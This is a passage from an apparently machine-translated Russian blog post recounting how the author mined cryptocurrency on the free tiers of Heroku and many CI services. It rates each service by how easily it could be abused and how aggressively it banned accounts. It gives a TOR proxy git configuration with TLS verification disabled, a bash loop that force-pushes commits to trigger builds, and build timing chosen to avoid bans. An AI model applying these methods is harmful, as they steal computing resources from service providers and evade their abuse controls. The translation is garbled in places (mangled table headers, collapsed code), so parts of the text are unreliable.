Конфигурация Heroku была немного проще (без кубернетов). Помимо сборки контейнера, которая была похожа на сборку openshift, остальное было всего двумя командами cli

heroku config:set HRK_APP=$HRK_APP -a $HRK_APP
heroku container:release -a $HRK_APP$TYPE

Контейнер был напрямую перенесен с помощью docker в реестр heroku.[12] Трения с heroku (уровень бесплатного пользования все еще актуален на момент написания) заключается в том, что динамометрические станции могут работать только 22 дня в месяц, поэтому они требовали некоторого ручного управления каждый месяц, что опять же неудобно и скучно. Вначале они провели несколько волн банов, а затем отключили регистрацию через TOR, я совершенно уверен, что я был причиной этого.

Контейнеры или виртуальные машины CI

Это были самые синергетические цели для нашего капельницы. Здесь очень много CI компании, многие из которых сжигают деньги инвесторов, предлагая бесплатные уровни в надежде получить некоторую долю рынка в бизнесе технологической инфраструктуры.

Все эти службы предлагают разные ресурсы, имеют разные требования к конфигурации и работают в разных средах. Я никогда не рассматривал автоматическую регистрацию учетной записи, потому что такие вещи ужасно программировать, я стараюсь избегать их все время, поэтому я просто терпел ручную регистрацию какое-то время, так как мне было любопытно, какой ответ от спама я получу (и как отличается от остальных!). Вы можете догадаться о некоторых вещах об управлении компанией по тому, как она обрабатывает спам:

Существует также философский вопрос: если сервис позволяет вам злоупотреблять своей системой в течение длительного времени, означает ли это, что у них есть первоклассная инфраструктура, способная справиться с нагрузкой, или просто плохой контроль над своей системой? И вы должны учитывать баланс между доступностью и безопасностью: слишком безопасная система может снизить удержание пользователей.

Вот таблица, показывающая некоторые службы, в которых я развернул:

ciконфигурацияпредставлениемолоток
BitriseплохойСредняяСредняя
ТрэвисхорошийСредняяхороший
КодированиеСредняяплохойСредняя
GitlabСредняяхорошийхороший
CircleciплохойхорошийСредняя
СемафорхорошийхорошийСредняя
ДокерСредняяСредняяхороший
НабережнаяхорошийСредняяСредняя
CodefreshплохойхорошийСредняя
WerckerСредняяСредняяплохой
Лазурные трубопроводыСредняяСредняяплохой
НепрерывныйплохойСредняяСредняя
приятельплохойплохойплохой
Дронплохойхорошийплохой
AppveyorплохойСредняяплохой
NevercodeплохойхорошийСредняя
Zeist / Vercelплохойхорошийплохой

В этом контексте хороший конфигурация означает, что настройкаci работа для процесса майнинга (как и все сервисы, полагающиеся на веб-панель управления вместо точечного файла репозитория, были рутиной), плохойban-hammer означает, что было сложно зарегистрироваться в сервисе, или что аккаунты будут заблокированы более агрессивно.

Bitrise требуется для настройки проекта, для определения среды, целевой архитектуры, процесса выполнения и прочего, настройка сборки занимала очень много времени, поэтому она получила плохую оценку в конфигурации. Непрерывный, приятель , [Codefresh] также требует выполнения множества ручных недекларативных шагов настройки.

Такие службы, как [Azure-pipelines], Wercker, приятель применяет теневые запреты к учетным записям, теневые запреты - это плохо, так как они заставляют вас гадать, что-то не так с вашей конфигурацией или нет. С некоторыми сервисами вы можете угадать причину запрета (в значительной степени ваша сборка заняла слишком много времени или вы построили слишком много раз за короткий период), для некоторых других, таких как [Azure-pipelines], я предполагаю, что они применили какой-то отпечаток пальца в пользовательские репозитории, поскольку баны проходили даже без злоупотребления ресурсами, лазурь и версия также ограничивалисьDNS доступ в пределах общедоступных строительных машин, так что это было дополнительное трение, которое необходимо было преодолеть с помощью специального туннеля.

Дрон предоставил доступ ко всему процессору с 16+ ядрами, но в итоге был заблокирован после 2 сборок[13]. Кодирование также предоставляет доступ к мощным хостам сборки и не банит так же агрессивно, как дрон.

Мои любимые сервисы не из-за прибыльности, а из-за простоты и удобства (в том числе и с другими проектами) были Трэвис, Семафор а также Докер-хаб . Travis похож на стандартный CI и очень гибкий, Semaphore - единственныйDSL дляCI это выглядело доступным и хорошо, хотя вместо бесконечной последовательности спагеттифицированных флажков, как другие пользовательские интерфейсы, и Docker просто для простоты сопоставления файлов докеров со сборками.

Конфиги сборок

Сборки запускались либо заданиями cron, предлагаемыми веб-сервисами, либо коммитами git. Таким образом, вам нужно было отслеживать засорение токенов доступа или ключей ssh, чтобы управлять всеми коммитами git. Также было важно не спамить излишне коммитов и использовать прокси при отправке в репозитории с настройкой git:

[http]proxy = socks5://127.0.0.1:9050sslverify = false[https]proxy = socks5://127.0.0.1:9050sslverify = false[url "https://"]insteadOf = git://

Используя службы хостинга git, github был одним из наиболее тщательных в отношении запретов, но они выполнялись только после сообщений о злоупотреблениях со стороны администраторов служб ci, gitlab выполнил волну запрета один раз, когда я попытался продлить пробную версию CI (небрежно). Я никогда не получал бан для учетной записи Bitbucket. Чтобы (принудительно) нажать git коммиты, у нас есть длительный цикл, который повторно помечает репозиторий git:

while :; do
    repos_count=$(ls -ld ${repos}/* | grep -c ^d)
    repos_ival=$(((RANDOM%variance+delay)/repos_count))
    for r in$repos/*; docd"$r"
        git fetch --all
        tagger
        echo -e "\e[32m""sleeping for $repos_ival since $(date +%H:%M:%S\ %b/%d)""\e[0m"sleep$repos_ivaldonesleep 1
done

Вполне возможно, что принудительное продвижение таким образом не очень нравится github и могло быть причиной пометки учетных записей. Функция tagger, которой поручено принудительно подталкивать разные коммиты, использует веб-сайт (который вы можете легко найти), который дает некоторые рандомизированные коммиты. Я не уверен, насколько это помогает, поскольку само содержание коммитов явно подозрительно для моего случая. И это также однажды укусило меня за задницу, так как коммиты, возвращаемые этой командой, могут включать нецензурные слова, одна из моих коммитов была подхвачена ботом twitter, который отслеживает коммиты git с нецензурными словами! Я добавил черный список плохих слов после инцидента.

Я не особо углублялся в запутанные коммиты git и запутанные репозитории git. Единственный случай, когда я использовал более сложный репозиторий, был с Bitrise, поскольку вы не могли настроить сборку, если система не распознала среду (например, мобильные приложения), но даже тогда ротации не было, и она всегда была одинаковой. репозиторий, довольно легко обнаружить.

В целом, если бы мне пришлось построить колоколообразную кривую вокруг оптимального времени для добычи безЗабанить учетные записи для всех протестированных сервисов можно было бы в центре с продолжительностью сборки около 1 часа один раз в день. Для ядер ЦП, за исключением пары сторонних лиц (например, дронов), большинство сервисов ожидают, что вы используете весь объем предоставленных вам ресурсов, поскольку сборки выполняются внутри виртуальных машин или контейнеров с ограниченными ресурсами ... а компиляция обычно является задачей, которая насыщает процессор, поэтому он не имеет статистической значимости. Интуитивно понятно, что одна сборка в день - это то, что делал бы средний разработчик, поэтому вы должны ожидать поднятых флагов, если вы отклонитесь от среднего, а настаивание на злоупотреблениях никогда не заканчивается хорошо.

Выводы

Стоило ли? Сетевые части были определенно интересными, регистрация учетных записей была явно худшей частью, в конце концов, никто не любит щелкать бесконечные письма с подтверждением и повторять процедуры пользовательского интерфейса, ошеломляющие разум. Писать программное обеспечение для автоматизации спама тоже скучно (потому что вы в основном копаетесь в глупых API), и с этим предположением (и тем фактом, что это никогда не было чем-то серьезным) я даже не думал об этом. Было ли это выгодно? На пике он достигал чего-то вроде300$ в месяц, может хватит венесуэльцу, не совсем мне :)

[1] сварливый сисадмин
[2]хотя это нарушило бы многие предположения о конфиденциальности, я уверен, что большинство из них просто заглядывают внутрь всякий раз, когда возникает актуальная проблема, но это проблема только для сред выполнения на основе контейнеров, тогда как виртуальные машины в значительной степени являются черными ящиками.
[3]майнер, встроенный в узел monero, получил некоторую работу, чтобы сделать его более дружественным к фону, но распространение xmrig никогда не было ориентировано на дружелюбие к фону.
[5]некоторые пулы предлагают разные трудности на разных портах подключения и, как правило, выравнивают сложность задания в соответствии с предоставленными майнером общими ресурсами, но детализация прокси-сервера все же была более удобной, так как это предотвратило бы пул запирание (хотя мы никогда толком не меняли пулы).
[4]он не был счастлив, когда конфиг внезапно появился и исчез из файловой системы
[6]Мы не говорим о протокол слоя поскольку нам просто нужно иметь дело с тем, что реализовано в оба пул и майнер ... который обычно является минимальным и, возможно, с нестандартными расширениями.
[7]никогда не ходи на полную :)
[8]Я не исследовал, что происходит, когда процесс загружает дополнительные функции во время выполнения, поскольку ядро ​​будет искать адрес в структуре памяти исполняемого файла, который будет обращаться к файловой системе и, возможно, вызывает сбой.
[9]Пределы произвольные, время ЦП меньше секунды, память меньше 128М, исходящие соединения блокируются.
[10]проявив немного терпения, вы также можете запустить полный экземпляр ssh в среде, загруженной вокруг вашей учетной записи cpanel, без иметь доступ к встроенному SSH cpanel, который обычно отключается хостинг-провайдерами.
[11]openshift перешел с 1 года бесплатного пользования на 3 месяца до 1 месяца, начиная с требования аутентификации по телефону, я могу гарантировать, что я был не единственным, кто злоупотреблял их услугами.
[12]Контейнеры уровня бесплатного доступа Heroku довольно щедры по ресурсам, они предоставляют 4c / 8t (виртуальные) процессоры, много оперативной памяти и большое хранилище (которое, однако, не является постоянным и отбрасывается при выключении дино).
[13]Они добавляют намного более строгие правила регистрации, после пары банов я, возможно, внес свой вклад в это.

Теги сообщений: